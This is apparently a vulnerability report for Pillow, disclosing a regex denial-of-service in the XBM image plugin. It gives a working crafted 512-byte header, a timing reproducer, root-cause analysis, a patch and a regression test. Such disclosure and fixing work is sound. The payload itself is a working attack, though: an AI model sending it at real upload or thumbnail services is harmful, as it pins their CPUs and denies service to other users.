Pillow: ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes

This 512-byte input (k = 60) takes 375 s of CPU in Image.open(io.BytesIO(data)) with default settings, measured on the stock build at this commit:

k = 60
data  = b"#define" + b" "*k + b"_width 1\r"
data += b"#define" + b" "*k + b"_height 1\r"
data += b"#define" + b" "*k + b"_x_hot 1\r"
data += b"#define" + b" "*k + b"_y_hot 1" + b"\r"*k
data += b"_bits"                      # no "[]": the final literal never matches
data += b"A" * (512 - len(data))      # pad to the 512 bytes _open() reads

Calling XbmImagePlugin.xbm_head.match(data) directly gives the same picture: k = 10 → 0.11 s, k = 15 → 0.76 s, k = 20 → 3.0 s, k = 25 → 8.5 s, k = 30 → 19.9 s (roughly ×27 per doubling of k, i.e. about k^4.7). A well-formed 512-byte XBM matches in 10 µs and opens and loads through Image.open() in ~40 ms including plugin import; the same k = 60 header with _bits[] present matches in 5 µs.

The regex, src/PIL/XbmImagePlugin.py:32:

xbm_head = re.compile(
    rb"\s*#define[ \t]+.*_width[ \t]+(?P<width>[0-9]+)[\r\n]+"
    b"#define[ \t]+.*_height[ \t]+(?P<height>[0-9]+)[\r\n]+"
    b"(?P<hotspot>"
    b"#define[ \t]+[^_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+"
    b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+"
    b")?"
    rb"[\000-\377]*_bits\[]"
)

and the only call site, src/PIL/XbmImagePlugin.py:58:

    def _open(self) -> None:
        …
        m = xbm_head.match(self.fp.read(512))
        if not m:
            msg = "not a XBM file"
            raise SyntaxError(msg)

For a well-formed header (#define im_width 8\n…static char im_bits[] = {) each [ \t]+ eats the single space, .*/[^_]* eat the identifier prefix, and [\000-\377]*_bits\[] finds the literal on its first backward scan, so the match is linear. The crafted header diverges at every one of those points:

• [ \t]+.*_width and [ \t]+.*_height: the run of k spaces after #define can be split between [ \t]+ and .* in k ways, all leading to the same continuation. Factor k each. (The choice of \r terminators is incidental: the same header with \n terminators is equally slow.)
• [ \t]+[^_]*_x_hot and [ \t]+[^_]*_y_hot inside the optional hotspot group: [^_]* also matches spaces, so the same k-way split exists twice more. Factor k each. These two lines are essential: without them the same input is rejected in about 10 ms.
• [\r\n]+ closing the hotspot group, followed by )? and [\000-\377]*: the run of k \r bytes after _y_hot 1 can be divided between [\r\n]+ and [\000-\377]* in k ways. Factor k.
• [\000-\377]*_bits\[]: for every combination above, the engine swallows the remaining ~150 bytes of padding and walks back looking for _bits[]. The input contains _bits but never [], so this always fails and every combination is visited.

CPython's re is a backtracking engine without memoisation, so the total work is on the order of k^5 × (512 − header length) steps — about 10^11 for k = 60, consistent with the measured 375 s. The 512-byte read caps k (5k + ~60 ≤ 512), so the cost per open() is bounded, but the bound is minutes of CPU.

The path is the default one. Image.open() (src/PIL/Image.py:3719) reads a 16-byte prefix and offers it to every registered plugin's accept hook; XbmImagePlugin._accept() (src/PIL/XbmImagePlugin.py:43) returns true for anything whose left-stripped prefix starts with #define, and _open() then runs the regex. No size, pixel-count or decompression-bomb check can apply before this point because nothing has been parsed yet, and since the match ultimately fails the file is never identified, so the only outcome for the caller is UnidentifiedImageError after the delay. File name and extension are irrelevant because dispatch is by content. A faulthandler stack dump taken 20 s into the call shows the interpreter at XbmImagePlugin.py:58 in _open ← ImageFile.py:154 in __init__ ← Image.py:3699 in _open_core ← Image.py:3719 in open.

ImageFile.Parser.feed() (src/PIL/ImageFile.py:584) amplifies this further: until the stream is identified it calls Image.open() on all accumulated data at every feed(), so an application feeding the stream in chunks pays the regex cost once per chunk (measured: k = 15 header fed in 8 chunks → 4.6 s versus 0.76 s for a single open()).

Impact

Anyone who can get 512 bytes in front of Image.open() — an upload endpoint, thumbnailer, or any service that uses Pillow to sniff whether a blob is an image — pins one CPU core of the handling process for roughly six minutes per request with the default plugin set and default limits. Nothing large is allocated and no DecompressionBombWarning/Error fires; application-side upload size limits do not help because the file is tiny, and Image.MAX_IMAGE_PIXELS is never consulted because no image is ever identified. A handful of concurrent requests is enough to exhaust a typical worker pool. The per-call cost is bounded by the 512-byte header read, so this is a CPU-exhaustion denial of service of the handling process rather than an infinite loop. Applications that pass an explicit formats= allowlist to Image.open() that excludes "XBM" are not affected.

This is the same bug class as CVE-2021-25292 (catastrophic backtracking in the PdfParser regexes, fixed in 8.1.1) and CVE-2021-23437 (ImageColor.getrgb ReDoS, fixed in 8.3.2), in a different plugin; unlike the PDF case it is reached from plain Image.open() on any byte stream.

Reproducing

repro is a single Python script. It uses the installed Pillow through the public Image.open() API and needs no rebuild.

Each input is the 512-byte header from Details: four #define lines with k spaces after #define, lines ending in \r, k \r bytes after _y_hot 1, padding with A up to the 512 bytes that _open() reads. The only thing that changes between inputs is the tail: _bits[] (valid) or _bits (the final literal can never match).

1. Control. Opens the k = 60 header with the tail _bits[]. The regex matches on its first try and Pillow reports XBM (1, 1) in about 50 ms. This shows that the same bytes are only slow when the match has to fail.
2. Attack. Opens the header with the tail _bits at k = 10, 15, 20 and 25. Each one raises UnidentifiedImageError, after about 0.1 s, 0.75 s, 3.0 s and 8.6 s. The time grows polynomially, not linearly. The k = 60 input from Details, which takes about 6 minutes of CPU, is not run.

Expected output on this commit:

control k=60 '_bits[]': XBM (1, 1) in 0.052s
attack  k=10 '_bits'  : UnidentifiedImageError in 0.105s
attack  k=15 '_bits'  : UnidentifiedImageError in 0.748s
attack  k=20 '_bits'  : UnidentifiedImageError in 3.024s
attack  k=25 '_bits'  : UnidentifiedImageError in 8.561s
BUG

The script prints BUG only when all of these hold:

• the control header opened as XBM in under 1 s;
• the k = 25 attack input took more than 2 s;
• the k = 25 attack input took more than 5 times as long as the k = 15 one, i.e. the cost grows super-linearly in k.

Otherwise it prints OK. With the attached patch applied, every attack input is rejected at once, so the script prints OK.

Suggested fix

The attached patch removes the overlap between [ \t]+ and the quantifier that matches the identifier prefix in xbm_head (src/PIL/XbmImagePlugin.py:32-40), so the whitespace after #define can be consumed in exactly one way and the identifier cannot run across line terminators. It matches the identifier with [^ \t\r\n]* (and [^ \t\r\n_]* in the hotspot group, which keeps the existing "no underscore before _x_hot/_y_hot" behaviour); the remaining quantifier pairs are then either over disjoint character classes or reduce to a single linear rescan of at most 512 bytes:

 xbm_head = re.compile(
-    rb"\s*#define[ \t]+.*_width[ \t]+(?P<width>[0-9]+)[\r\n]+"
-    b"#define[ \t]+.*_height[ \t]+(?P<height>[0-9]+)[\r\n]+"
+    rb"\s*#define[ \t]+[^ \t\r\n]*_width[ \t]+(?P<width>[0-9]+)[\r\n]+"
+    rb"#define[ \t]+[^ \t\r\n]*_height[ \t]+(?P<height>[0-9]+)[\r\n]+"
     b"(?P<hotspot>"
-    b"#define[ \t]+[^_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+"
-    b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+"
+    rb"#define[ \t]+[^ \t\r\n_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+"
+    rb"#define[ \t]+[^ \t\r\n_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+"
     b")?"
     rb"[\000-\377]*_bits\[]"
 )

This mirrors the PdfParser fix for CVE-2021-25292. The patch also adds a test_redos case to Tests/test_file_xbm.py, in the style of the one in Tests/test_file_pdf.py: it builds the k = 60 header from Details and, under @timeout_unless_slower_valgrind(1), expects XbmImageFile to raise SyntaxError. With the patch applied to a clean checkout and rebuilt, the reproducer prints OK and the existing Tests/test_file_xbm.py (including hopper.xbm, hopper_underscore.xbm and the hotspot round-trip) still passes. The change does reject headers whose identifier contains whitespace (#define foo bar_width 16), which is not valid C and is not produced by Pillow's own XBM writer.

The patch

Use more specific regex chars in the XBM header regex to prevent ReDoS in Image.open() on a crafted 512-byte header

Applies to src/PIL/XbmImagePlugin.py at the commit above.

diff --git a/Tests/test_file_xbm.py b/Tests/test_file_xbm.py
index 1988c417f..67236c795 100644
--- a/Tests/test_file_xbm.py
+++ b/Tests/test_file_xbm.py
@@ -6,7 +6,7 @@ import pytest
 
 from PIL import Image, XbmImagePlugin
 
-from .helper import hopper
+from .helper import hopper, timeout_unless_slower_valgrind
 
 TYPE_CHECKING = False
 if TYPE_CHECKING:
@@ -91,3 +91,17 @@ def test_hotspot(tmp_path: Path) -> None:
 
     with Image.open(out) as reloaded:
         assert reloaded.info["hotspot"] == hotspot
+
+
+@timeout_unless_slower_valgrind(1)
+def test_redos() -> None:
+    k = 60
+    malicious = b"#define" + b" " * k + b"_width 1\r"
+    malicious += b"#define" + b" " * k + b"_height 1\r"
+    malicious += b"#define" + b" " * k + b"_x_hot 1\r"
+    malicious += b"#define" + b" " * k + b"_y_hot 1" + b"\r" * k + b"_bits"
+    malicious += b"A" * (512 - len(malicious))
+
+    # The important thing is it doesn't timeout, cause a ReDoS
+    with pytest.raises(SyntaxError):
+        XbmImagePlugin.XbmImageFile(BytesIO(malicious))
diff --git a/src/PIL/XbmImagePlugin.py b/src/PIL/XbmImagePlugin.py
index 95729d73d..7435d20f2 100644
--- a/src/PIL/XbmImagePlugin.py
+++ b/src/PIL/XbmImagePlugin.py
@@ -29,12 +29,14 @@ if TYPE_CHECKING:
     from typing import IO
 
 # XBM header
+# The identifier before each suffix cannot contain whitespace, so that it
+# cannot overlap with the preceding [ \t]+ and cause a ReDoS
 xbm_head = re.compile(
-    rb"\s*#define[ \t]+.*_width[ \t]+(?P<width>[0-9]+)[\r\n]+"
-    b"#define[ \t]+.*_height[ \t]+(?P<height>[0-9]+)[\r\n]+"
+    rb"\s*#define[ \t]+[^ \t\r\n]*_width[ \t]+(?P<width>[0-9]+)[\r\n]+"
+    rb"#define[ \t]+[^ \t\r\n]*_height[ \t]+(?P<height>[0-9]+)[\r\n]+"
     b"(?P<hotspot>"
-    b"#define[ \t]+[^_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+"
-    b"#define[ \t]+[^_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+"
+    rb"#define[ \t]+[^ \t\r\n_]*_x_hot[ \t]+(?P<xhot>[0-9]+)[\r\n]+"
+    rb"#define[ \t]+[^ \t\r\n_]*_y_hot[ \t]+(?P<yhot>[0-9]+)[\r\n]+"
     b")?"
     rb"[\000-\377]*_bits\[]"
 )

The reproducer

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

#!/usr/bin/env python3
# XbmImagePlugin.xbm_head catastrophic backtracking, reached from Image.open()
# on a <=512-byte stream. Prints BUG if a failing 512-byte header takes
# super-linearly long while the same-shaped valid header opens instantly.
import io, time
from PIL import Image

def hdr(k, tail):
    d = b""
    for name in (b"_width 1\r", b"_height 1\r", b"_x_hot 1\r", b"_y_hot 1"):
        d += b"#define" + b" " * k + name
    d += b"\r" * k + tail
    return d + b"A" * (512 - len(d))

def timed(data):
    s = time.perf_counter()
    try:
        im = Image.open(io.BytesIO(data)); r = f"{im.format} {im.size}"
    except Exception as e:
        r = type(e).__name__
    return r, time.perf_counter() - s

ctl, tc = timed(hdr(60, b"_bits[]"))
print(f"control k=60 '_bits[]': {ctl} in {tc:.3f}s")
ts = {}
for k in (10, 15, 20, 25):
    r, ts[k] = timed(hdr(k, b"_bits"))
    print(f"attack  k={k:2d} '_bits'  : {r} in {ts[k]:.3f}s", flush=True)
# k=60 (fits easily in 512 bytes) runs for minutes; not executed here.
bug = ctl.startswith("XBM") and tc < 1 and ts[25] > 2 and ts[25] > 5 * ts[15]
print("BUG" if bug else "OK")